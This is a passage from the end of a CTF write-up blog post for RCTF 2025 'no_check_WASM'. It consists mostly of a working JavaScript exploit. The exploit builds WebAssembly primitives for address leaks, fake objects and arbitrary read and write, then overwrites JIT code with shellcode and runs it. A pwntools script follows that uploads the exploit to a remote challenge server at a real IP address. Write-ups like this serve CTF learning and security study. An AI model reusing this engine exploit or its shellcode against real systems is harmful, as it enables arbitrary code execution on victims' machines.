0,97,115,109,1,0,0,0,1,44,8,96,1,111,1,127,96,1,127,1,111,96,0,3,126,126,126,80,0,95,1,126,1,96,1,126,1,100,3,96,1,111,1,126,96,1,126,1,126,96,2,126,126,0,3,8,7,0,1,2,4,5,6,7,7,65,6,9,97,100,100,114,101,115,115,79,102,0,0,7,102,97,107,101,79,98,106,0,1,10,108,101,97,107,95,115,116,97,99,107,0,2,14,108,101,97,107,95,99,97,103,101,95,98,97,115,101,0,4,3,65,65,82,0,5,3,65,65,87,0,6,10,65,7,9,0,32,0,2,127,12,0,11,11,9,0,2,64,32,0,15,11,0,11,4,0,66,0,11,4,0,32,0,11,9,0,32,0,2,126,12,0,11,11,10,0,32,0,16,3,251,2,3,0,11,12,0,32,0,16,3,32,1,251,5,3,0,11,0,86,4,110,97,109,101,1,79,7,0,9,97,100,100,114,101,115,115,79,102,1,7,102,97,107,101,79,98,106,2,10,108,101,97,107,95,115,116,97,99,107,3,18,99,97,115,116,95,105,54,52,95,116,111,95,115,116,114,117,99,116,4,14,108,101,97,107,95,99,97,103,101,95,98,97,115,101,5,3,65,65,82,6,3,65,65,87
]);

const m = new WebAssembly.Module(bytes_arr_1);
const primitive_instance = new WebAssembly.Instance(m);

let {addressOf, fakeObj, leak_stack, leak_cage_base, AAR, AAW} = primitive_instance.exports;

let stack_addr = leak_stack();
for(let i = 0; i < stack_addr.length; i++){
logg("stack_addr["+i+"]", stack_addr[i]);
}
stack_value = stack_addr[0] << 32n | stack_addr[1];
logg("stack_value", stack_value);

// for(let i = 0; i < 10; i++){
// let test = AAR(stack_value+1n+BigInt(i*0x8));
// logg("test", test);
// }

let jit_code_addr = AAR(stack_value+1n);

let cage_base = leak_cage_base(primitive_instance) & ~0xffffffffn;
logg("cage_base", cage_base);
logg("jit_code_addr", jit_code_addr);

const wasm_bytes = new Uint8Array([
0,97,115,109,1,0,0,0,1,5,1,96,1,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,81,1,79,0,66,200,146,158,142,163,154,228,245,2,66,234,132,196,177,143,139,228,245,2,66,143,138,160,202,232,152,228,245,2,66,234,200,197,145,157,200,214,245,2,66,234,130,252,130,137,146,228,245,2,66,234,208,192,132,137,146,228,245,2,66,216,158,148,128,137,146,228,245,2,26,26,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110
]);
const mod = new WebAssembly.Module(wasm_bytes);
const instance_shellcode = new WebAssembly.Instance(mod);
const pwn = instance_shellcode.exports.pwn;

let offset_to_jit = 0x2959n;
let rop_addr = jit_code_addr+offset_to_jit;
// p(instance_shellcode);
logg("rop_addr", rop_addr);

var shellcode = [
10416984888683040912n,
10416984888683040912n,
10416984888683040912n,
10416984888683040912n,
72340172838123592n,
7521907171660923137n,
302101820911791727n,
17740191518968858660n,
21732277098n
];

// var shellcode = [
// 0x4141414141414141n,
// 0x4141414141414141n,
// ];

pwn(0x1n);

for(let i = 0; i < shellcode.length; i++){
AAW(jit_code_addr+offset_to_jit+BigInt(i*0x8)+1n-0x8n, shellcode[i]);
}

pwn(0x1n);

上传脚本

ai搓一个就行(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python3
from pwn import *
import hashlib # ✅ 添加这个
import os

context.log_level = "debug"

# 配置
HOST = "1.95.63.65"
PORT = 26001

# HOST = "0.0.0.0"
# PORT = 7000

def solve_pow(target_hash):
"""暴力破解 PoW"""
prefix = b"rctf"

for i in range(0x1000000): # 16^6
nonce = f"{i:06x}".encode()
current_hash = hashlib.sha256(prefix + nonce).hexdigest()
if current_hash == target_hash:
return nonce.decode()

return None

def main():
# 读取 exp.js 文件
with open("exp.js", "rb") as f:
js_content = f.read()

# 计算文件大小
file_size = len(js_content)
print(f"[+] File size: {file_size} bytes")

# 连接到远程服务器
print(f"[+] Connecting to {HOST}:{PORT}")
io = remote(HOST, PORT)

try:
# 1. 处理 PoW 挑战
io.recvuntil(b"=== Proof of Work Challenge ===\n")
pow_line = io.recvline().decode()
print(f"[+] PoW Challenge: {pow_line.strip()}")

# 提取目标哈希
target_hash = pow_line.split("== ")[1].strip()
print(f"[+] Target hash: {target_hash}")

# 解决 PoW
print("[+] Solving PoW...")
nonce = solve_pow(target_hash)

if not nonce:
print("[!] Failed to solve PoW")
return

print(f"[+] Found nonce: {nonce}")

io.sendafter(b"nonce:", nonce.encode())

result = io.recvline()
print(f"[+] PoW result: {result.decode().strip()}")

if b"pow failed" in result:
print("[!] PoW verification failed!")
return

io.sendlineafter(b"script size:\n", str(file_size).encode())

# 3. 发送脚本内容
io.recvuntil(b"script:\n")
io.send(js_content) # 注意:用 send 不是 sendline

# 4. 接收执行结果
print("[+] Waiting for response...")
io.interactive()

except Exception as e:
print(f"[!] Error: {e}")
import traceback
traceback.print_exc()
finally:
io.close()

if __name__ == "__main__":
main()


RCTF 2025 - no_check_WASM
https://flyyy.top/2025/11/17/rctf-2025-no_check_WASM/
Author
flyyy
Posted on
November 17, 2025
Licensed under